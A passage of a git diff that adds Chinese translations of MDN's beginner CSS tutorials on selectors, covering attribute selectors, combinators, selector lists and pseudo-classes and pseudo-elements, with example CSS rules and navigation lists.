<td><code>li[class$="-box"]</code></td> + <td>匹配带有一个名为<em>attr</em>的属性的元素,其值结尾为<em>value</em>子字符串</td> + </tr> + <tr> + <td><code>[<em>attr</em>*=<em>value</em>]</code></td> + <td><code>li[class*="box"]</code></td> + <td>匹配带有一个名为<em>attr</em>的属性的元素,其值的字符串中的任何地方,至少出现了一次<em>value</em>子字符串。</td> + </tr> + </tbody> +</table> + +<p>下个示例展示了这些选择器的用法:</p> + +<ul> + <li><code>li[class^="a"]</code>匹配了任何值开头为<code>a</code>的属性,于是匹配了前两项。</li> + <li><code>li[class$="a"]</code>匹配了任何值结尾为<code>a</code>的属性,于是匹配了第一和第三项。</li> + <li><code>li[class*="a"]</code>匹配了任何值的字符串中出现了<code>a</code>的属性,于是匹配了所有项。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-substring.html", '100%', 800)}}</p> + +<h2 id="大小写敏感">大小写敏感</h2> + +<p>如果你想在大小写不敏感的情况下,匹配属性值的话,你可以在闭合括号之前,使用<code>i</code>值。这个标记告诉浏览器,要以大小写不敏感的方式匹配ASCII字符。没有了这个标记的话,值会按照文档语言对大小写的处理方式,进行匹配——HTML中是大小写敏感的。</p> + +<p>下面的示例中,第一个选择器将会匹配一个开头为<code>a</code>的值,这样它只匹配了第一项,因为另外两项开头是大写的A。第二个选择器使用了大小写不敏感的标记,于是匹配了所有项。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>此外还有一个更加新的<code>s</code>值,它会强制在上下文的匹配正常为大小写不敏感的时候,强行要求匹配时大小写敏感。不过,在浏览器中它不太受支持,而且在上下文为HTML时也没啥用。</p> +</div> + +<h2 id="接下来……">接下来……</h2> + +<p>现在我们完成了属性选择器的学习,你可以继续读下篇文章——关于<a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素选择器</a>的事情。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签、类和ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/%E5%A4%84%E7%90%86_%E4%B8%8D%E5%90%8C_%E6%96%B9%E5%90%91%E7%9A%84_%E6%96%87%E6%9C%AC">处理不同文字方向的文本</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/selectors/combinators/index.html b/files/zh-cn/learn/css/building_blocks/selectors/combinators/index.html new file mode 100644 index 0000000000..3766312aff --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/selectors/combinators/index.html @@ -0,0 +1,109 @@ +--- +title: 关系选择器 +slug: Learn/CSS/Building_blocks/Selectors/Combinators +translation_of: Learn/CSS/Building_blocks/Selectors/Combinators +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p> + +<p>我们要了解的最后一种选择器被命名为关系选择器(Combinator),这是因为它们在其他选择器之间和其他选择器与文档内容的位置之间建立了一种有用的关系的缘故。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>基础电脑知识,<a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Installing_basic_software">安装了基本的软件</a>,<a href="https://developer.mozilla.org/和CN/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>的基本知识, HTML基础(学习<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a>),以及对CSS工作原理的了解(学习<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/CSS/First_steps">CSS初步</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解CSS里面可用的不同关系选择器。</td> + </tr> + </tbody> +</table> + +<h2 id="后代选择器">后代选择器</h2> + +<p>后代选择器——典型用单个空格(<code> </code>)字符——组合两个选择器,比如,第二个选择器匹配的元素被选择,如果他们有一个祖先(父亲,父亲的父亲,父亲的父亲的父亲,等等)元素匹配第一个选择器。选择器利用后代组合符被称作后代选择器。</p> + +<pre class="brush: css notranslate">body article p</pre> + +<p>下面的示例中,我们只会匹配处于带有<code>.box</code>类的元素里面的<code><p></code>元素。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}</p> + +<h2 id="子代关系选择器">子代关系选择器</h2> + +<p>子代关系选择器是个大于号(<code>></code>),只会在选择器选中直接子元素的时候匹配。继承关系上更远的后代则不会匹配。例如,只选中作为<code><article></code>的直接子元素的<code><p></code>元素:</p> + +<pre class="brush: css notranslate">article > p</pre> + +<p>下个示例中,我们弄了个有序列表,内嵌于另一个无序列表里面。我用子代关系选择器,只选中为<code><ul></code>的直接子元素的<code><li></code>元素,给了它们一个顶端边框。</p> + +<p>如果你移去指定子代选择器的<code>></code>的话,你最后得到的是后代选择器,所有的<code><li></code>会有个红色的边框。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/child.html", '100%', 600)}}</p> + +<h2 id="邻接兄弟">邻接兄弟</h2> + +<p>邻接兄弟选择器(<code>+</code>)用来选中恰好处于另一个在继承关系上同级的元素旁边的物件。例如,选中所有紧随<code><p></code>元素之后的<code><img></code>元素:</p> + +<pre class="brush: css notranslate">p + img</pre> + +<p>常见的使用场景是, 改变紧跟着一个标题的段的某些表现方面,就像是我下面的示例那样。这里我们寻找一个紧挨<code><h1></code>的段,然后样式化它。</p> + +<p>如果你往<code><h1></code>和<code><p></code>之间插入其他的某个元素,例如<code><h2></code>,你将会发现,段落不再与选择器匹配,因而不会应用元素邻接时的前景和背景色。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/adjacent.html", '100%', 800)}}</p> + +<h2 id="通用兄弟">通用兄弟</h2> + +<p>如果你想选中一个元素的兄弟元素,即使它们不直接相邻,你还是可以使用通用兄弟关系选择器(<code>~</code>)。要选中所有的<code><p></code>元素后<em>任何地方</em>的<code><img></code>元素,我们会这样做:</p> + +<pre class="brush: css notranslate">p ~ img</pre> + +<p>在下面的示例中,我们选中了所有的 <code><h1></code>之后的<code><p></code>元素,虽然文档中还有个 <code><div></code>,其后的<code><p></code>还是被选中了。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}</p> + +<h2 id="使用关系选择器">使用关系选择器</h2> + +<p>你能用关系选择器,将任何在我们前面的学习过程中学到的选择器组合起来,选出你的文档中的一部分。例如如果我们想选中为<code><ul></code>的直接子元素的带有“a”类的列表项的话,我可以用下面的代码。</p> + +<pre class="brush: css notranslate">ul > li[class="a"] { }</pre> + +<p>不过,建立一长列选中你的文档中很明确的部分的选择器的时候,小心一些。这些CSS规则难以复用,因为你让选择器在表示标记文本中的元素的相对位置上过于明确。</p> + +<p>建立简单的一个类,然后把它应用到有需求的元素上,经常会是更好的做法。不过话说回来,如果你需要让你的文档变换一下样式,但是没法编辑HTML(也许是因为它由CMS生成)的话,你的关系选择器的知识会派上用场。</p> + +<h2 id="小试牛刀!">小试牛刀!</h2> + +<p>我们已经在这篇文章里讲了许多内容,不过你能记住最重要的信息吗?你可以找些更深入的测试,在继续下去之前,验证你是否已经获取了这些信息——见<a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Selectors_Tasks">小试牛刀:选择器</a>。</p> + +<h2 id="继续学习">继续学习</h2> + +<p>这是我们选择器这节课的最后一节了。下面我们将会继续前进,学习CSS的另一个重要部分——<a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">CSS盒模型</a>。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签、类和ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/%E5%A4%84%E7%90%86_%E4%B8%8D%E5%90%8C_%E6%96%B9%E5%90%91%E7%9A%84_%E6%96%87%E6%9C%AC">处理不同文字方向的文本</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/selectors/index.html b/files/zh-cn/learn/css/building_blocks/selectors/index.html new file mode 100644 index 0000000000..cbc655cf38 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/selectors/index.html @@ -0,0 +1,228 @@ +--- +title: CSS选择器 +slug: Learn/CSS/Building_blocks/Selectors +tags: + - CSS + - CSS选择器 + - 初学者 + - 类 +translation_of: Learn/CSS/Building_blocks/Selectors +--- +<div> {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</div> + +<p class="summary">{{Glossary("CSS")}}中,选择器用来指定网页上我们想要样式化的{{glossary("HTML")}}元素。有CSS选择器提供了很多种方法,所以在选择要样式化的元素时,我们可以做到很精细的地步。本文和本文的子篇中,我们将会详细地讲授选择器的不同使用方式,并了解它们的工作原理。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>计算机的基本知识, <a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Installing_basic_software">安装了基础软件</a>,<a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>的基本知识,HTML基础(学习<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a>)以及对CSS工作方式的了解(学习<a href="/zh-CN/docs/Learn/CSS/First_steps">CSS初步</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>详细学习CSS选择器的工作方式。</td> + </tr> + </tbody> +</table> + +<h2 id="选择器是什么?">选择器是什么?</h2> + +<p>你也许已经见过选择器了。CSS选择器是CSS规则的第一部分。它是元素和其他部分组合起来告诉浏览器哪个HTML元素应当是被选为应用规则中的CSS属性值的方式。选择器所选择的元素,叫做“选择器的对象”。</p> + +<p><img alt="Some code with the h1 highlighted." src="https://mdn.mozillademos.org/files/16550/selector.png" style="border: 1px solid #cccccc; height: 218px; width: 471px;"></p> + +<p>前面的文章中,你也许已经遇到过几种不同的选择器,了解到选择器可以以不同的方式选择元素,比如选择诸如<code>h1</code>的元素,或者是根据class (类) 选择例如<code>.special</code>。</p> + +<p>CSS中,选择器由CSS选择器规范加以定义。就像是CSS的其他部分那样,它们需要浏览器的支持才能工作。你会遇到的大多数选择器都是在<a href="https://www.w3.org/TR/selectors-3/">CSS 3</a>中定义的,这是一个成熟的规范,因此你会发现浏览器对这些选择器有良好的支持。</p> + +<h2 id="选择器列表">选择器列表</h2> + +<p>如果你有多个使用相同样式的CSS选择器,那么这些单独的选择器可以被混编为一个“选择器列表”,这样,规则就可以应用到所有的单个选择器上了。例如,如果我的<code>h1</code>和<code>.special</code>类有相同的CSS,那么我可以把它们写成两个分开的规则。</p> + +<pre class="brush: css notranslate"><code>h1 { + color: blue; +} + +.special { + color: blue; +} </code></pre> + +<p>我也可以将它们组合起来,在它们之间加上一个逗号,变为选择器列表。</p> + +<pre class="brush: css notranslate"><code>h1, .special { + color: blue; +} </code></pre> + +<p>空格可以在逗号前或后,你可能还会发现如果每个选择器都另起一行,会更好读些。</p> + +<pre class="brush: css notranslate"><code>h1, +.special { + color: blue; +} </code></pre> + +<p>在下面的实时示例中,试着把两个有ID声明的选择器组合起来。外观在组合起来以后应该还是一样的。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} </p> + +<p>当你使用选择器列表时,如果任何一个选择器无效 (存在语法错误),那么整条规则都会被忽略。</p> + +<p>在下面的示例中,无效的class选择器会被忽略,而<code>h1</code>选择器仍会被样式化。</p> + +<pre class="brush: css notranslate"><code>h1 { + color: blue; +} + +..special { + color: blue; +} </code></pre> + +<p>但是在被组合起来以后,整个规则都会失效,无论是<code>h1</code>还是这个class都不会被样式化。</p> + +<pre class="brush: css notranslate"><code>h1, ..special { + color: blue; +} </code></pre> + +<h2 id="选择器的种类">选择器的种类</h2> + +<p>有几组不同的选择器,知道了需要哪种选择器,你会更容易正确使用它们。在本文的子篇中,我们将会来更详细地看下不同种类的选择器。</p> + +<h3 id="类型、类和ID选择器">类型、类和ID选择器</h3> + +<p>这个选择器组,第一个是指向了所有HTML元素<code><h1>。</code></p> + +<pre class="brush: css notranslate">h1 { }</pre> + +<p>它也包含了一个class的选择器:</p> + +<pre class="brush: css notranslate">.box { }</pre> + +<p>亦或,一个id选择器:</p> + +<pre class="brush: css notranslate">#unique { }</pre> + +<h3 id="标签属性选择器">标签属性选择器</h3> + +<p>这组选择器根据一个元素上的某个标签的属性的存在以选择元素的不同方式:</p> + +<pre class="brush: css notranslate">a[title] { }</pre> + +<p>或者根据一个有特定值的标签属性是否存在来选择:</p> + +<pre class="brush: css notranslate">a[href="https://example.com"] { }</pre> + +<h3 id="伪类与伪元素">伪类与伪元素</h3> + +<p>这组选择器包含了伪类,用来样式化一个元素的特定状态。例如<code>:hover</code>伪类会在鼠标指针悬浮到一个元素上的时候选择这个元素:</p> + +<pre class="brush: css notranslate">a:hover { }</pre> + +<p>它还可以包含了伪元素,选择一个元素的某个部分而不是元素自己。例如,<code>::first-line</code>是会选择一个元素(下面的情况中是<code><p></code>)中的第一行,类似<code><span></code>包在了第一个被格式化的行外面,然后选择这个<code><span></code>。</p> + +<pre class="brush: css notranslate">p::first-line { }</pre> + +<h3 id="运算符">运算符</h3> + +<p>最后一组选择器可以将其他选择器组合起来,更复杂的选择元素。下面的示例用运算符(<code>></code>)选择了<code><article></code>元素的初代子元素。</p> + +<pre class="brush: css notranslate">article > p { }</pre> + +<h2 id="接下来要做的事情">接下来要做的事情</h2> + +<p>你可以看下下面的选择器参考表,可以获得到这个学习章节——或者总体来说是MDN上——的各种选择器的直接链接;你也可以继续下去,开始你的了解<a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">类型、类和ID选择器</a>的旅程。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="选择器参考表">选择器参考表</h2> + +<p>下面的表格让你可以浏览你可以用的选择器,还有本指南中教你如何使用每种选择器的页面的链接。我还加上了一个能查看浏览器对每个选择器的支持信息的MDN页面链接。你可以把这个作为回头的参考,在你以后需要查询文献中提到的选择器的时候,或者是在你广义上实验CSS的时候。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">选择器</th> + <th scope="col">示例</th> + <th scope="col">学习CSS的教程</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/Type_selectors">类型选择器</a></td> + <td><code>h1 { }</code></td> + <td><a href="/zh-CN/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#Type_selectors">类型选择器</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/Universal_selectors">通配选择器</a></td> + <td><code>* { }</code></td> + <td><a href="/zh-CN/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#The_universal_selector">通配选择器</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/Class_selectors">类选择器</a></td> + <td><code>.box { }</code></td> + <td><a href="https://developer.mozilla.org/zh-CN/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#Class_selectors">类选择器</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/ID_selectors">ID选择器</a></td> + <td><code>#unique { }</code></td> + <td><a href="https://developer.mozilla.org/zh-CN/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#ID_Selectors">ID选择器</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/Attribute_selectors">标签属性选择器</a></td> + <td><code>a[title] { }</code></td> + <td><a href="https://developer.mozilla.org/zh-CN/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Attribute_selectors">标签属性选择器</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/Pseudo-classes">伪类选择器</a></td> + <td><code>p:first-child { }</code></td> + <td><a href="https://developer.mozilla.org/zh-CN/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-class">伪类</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/Pseudo-elements">伪元素选择器</a></td> + <td><code>p::first-line { }</code></td> + <td><a href="https://developer.mozilla.org/zh-CN/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-element">伪元素</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/Descendant_combinator">后代选择器</a></td> + <td><code>article p</code></td> + <td><a href="https://developer.mozilla.org/zh-CN/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#Descendant_Selector">后代运算符</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/Child_combinator">子代选择器</a></td> + <td><code>article > p</code></td> + <td><a href="https://developer.mozilla.org/zh-CN/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#Child_combinator">子代选择器</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/Adjacent_sibling_combinator">相邻兄弟选择器</a></td> + <td><code>h1 + p</code></td> + <td><a href="https://developer.mozilla.org/zh-CN/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#Adjacent_sibling">相邻兄弟</a></td> + </tr> + <tr> + <td><a href="/zh-CN/docs/Web/CSS/General_sibling_combinator">通用兄弟选择器</a></td> + <td><code>h1 ~ p</code></td> + <td><a href="https://developer.mozilla.org/zh-CN/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#General_sibling">通用兄弟</a></td> + </tr> + </tbody> +</table> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a class="new" rel="nofollow" title="该页面尚未创建。">CSS选择器</a> + <ul> + <li><a class="new" rel="nofollow" title="该页面尚未创建。">标签,类,ID选择器</a></li> + <li><a class="new" rel="nofollow" title="该页面尚未创建。">属性选择器</a></li> + <li><a class="new" rel="nofollow" title="该页面尚未创建。">伪类和伪元素</a></li> + <li><a class="new" rel="nofollow" title="该页面尚未创建。">关系选择器</a></li> + </ul> + </li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a class="new" rel="nofollow" title="该页面尚未创建。">处理不同文字方向的文本</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html b/files/zh-cn/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html new file mode 100644 index 0000000000..776b149893 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html @@ -0,0 +1,393 @@ +--- +title: 伪类和伪元素 +slug: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements +translation_of: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p> + +<p>下一组我们将了解的选择器被称为<strong>伪类</strong>和<strong>伪元素</strong>。这一类选择器的数量众多,通常用于很明确的目的。一旦你了解了如何使用它们,你便可以通过查阅列表来寻找合适的那一项以完成你想要的选择。与之前一样,每个选择器相关的MDN页面都将帮助你了解各浏览器的支持情况。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>基础电脑知识,<a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Installing_basic_software">安装了基本的软件</a>,<a href="https://developer.mozilla.org/和CN/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>的基本知识, HTML基础(学习<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a>),以及对CSS工作原理的了解(学习<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/CSS/First_steps">CSS初步</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解伪类和伪元素选择器</td> + </tr> + </tbody> +</table> + +<h2 id="什么是伪类?">什么是伪类?</h2> + +<p>伪类是选择器的一种,它用于选择处于特定状态的元素,比如当它们是这一类型的第一个元素时,或者是当鼠标指针悬浮在元素上面的时候。它们表现得会像是你向你的文档的某个部分应用了一个类一样,帮你在你的标记文本中减少多余的类,让你的代码更灵活、更易于维护。</p> + +<p>伪类就是开头为冒号的关键字:</p> + +<pre class="notranslate">:<em>pseudo-class-name</em></pre> + +<h3 id="简单伪类示例">简单伪类示例</h3> + +<p>让我们看下一个简单的示例。如果我们想要让一篇文章中的第一段变大加粗,可为此段加上一个类,然后为那个类添加CSS,正如下面的示例展示的这样:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child.html", '100%', 800)}}</p> + +<p>不过,这在维护的时候可能会很恼人——要是文档的头部又加上一段的话呢?我们会需要把这个类挪到新加的这段上。假如我们不加类,我们可以使用{{cssxref(":first-child")}}伪类选择器——这将<em>一直</em>选中文章中的第一个子元素,我们将不再需要编辑HTML(编辑HTML并不总是可行,也许是因为它是由一个CMS生成的)。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child2.html", '100%', 700)}}</p> + +<p>所有的伪类以同样的方式实现。它们选中你的文档中处于某种状态的那部分,表现得就像是你已经向你的HTML加入类一样。看下MDN上的另外几个示例:</p> + +<ul> + <li><code><a href="/zh-CN/docs/Web/CSS/:last-child">:last-child</a></code></li> + <li><code><a href="/zh-CN/docs/Web/CSS/:only-child">:only-child</a></code></li> + <li><code><a href="/zh-Cn/docs/Web/CSS/:invalid">:invalid</a></code></li> +</ul> + +<h3 id="用户行为伪类">用户行为伪类</h3> + +<p>一些伪类只会在用户以某种方式和文档交互的时候应用。这些<strong>用户行为伪类</strong>,有时叫做<strong>动态伪类</strong>,表现得就像是一个类在用户和元素交互的时候加到了元素上一样。案例包括:</p> + +<ul> + <li><code><a href="/en-US/docs/Web/CSS/:hover">:hover</a></code>——上面提到过,只会在用户将指针挪到元素上的时候才会激活,一般就是链接元素。</li> + <li><code><a href="/en-US/docs/Web/CSS/:focus">:focus</a></code>——只会在用户使用键盘控制,选定元素的时候激活。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/hover.html", '100%', 500)}}</p> + +<h2 id="伪元素是啥?">伪元素是啥?</h2> + +<p>伪元素以类似方式表现,不过表现得是像你往标记文本中加入全新的HTML元素一样,而不是向现有的元素上应用类。伪元素开头为双冒号<code>::</code>。</p> + +<pre class="notranslate"><em>::pseudo-element-name</em></pre> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>一些早期的伪元素曾使用单冒号的语法,所以你可能会在代码或者示例中看到。现代的浏览器为了保持后向兼容,支持早期的带有单双冒号语法的伪元素。</p> +</div> + +<p>例如,如果你想选中一段的第一行,你可以把它用一个<code><span></code>元素包起来,然后使用元素选择器;不过,如果包起来的单词/字符数目长于或者短于父元素的宽度,这样做会失败。由于我们一般不会知道一行能放下多少单词/字符——因为屏幕宽度或者字体大小改变的时候这也会变——通过改变HTML的方式来可预测地这么做是不可能的。</p> + +<p><code>::first-line</code>伪元素选择器会值得信赖地做到这件事——即使单词/字符的数目改变,它也只会选中第一行。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-line.html", '100%', 800)}}</p> + +<p>这表现得就像是<code><span></code>神奇地包在第一个被格式化的行一样,每当行长改变的时候还会更新。</p> + +<p>你可以看到它把两段的第一行都选中了。</p> + +<h2 id="把伪类和伪元素组合起来">把伪类和伪元素组合起来</h2> + +<p>如果你想让第一段的第一行加粗,你需要把<code>:first-child</code>和<code>::first-line</code>选择器放到一起。试着编辑前面的实时示例,让它使用下面的CSS。这里的意思是,我们想选择一个<code><article></code>元素里面的第一个<code><p></code>元素的第一行。</p> + +<pre class="brush: css notranslate"><code>article p:first-child::first-line { + font-size: 120%; + font-weight: bold; +}</code></pre> + +<h2 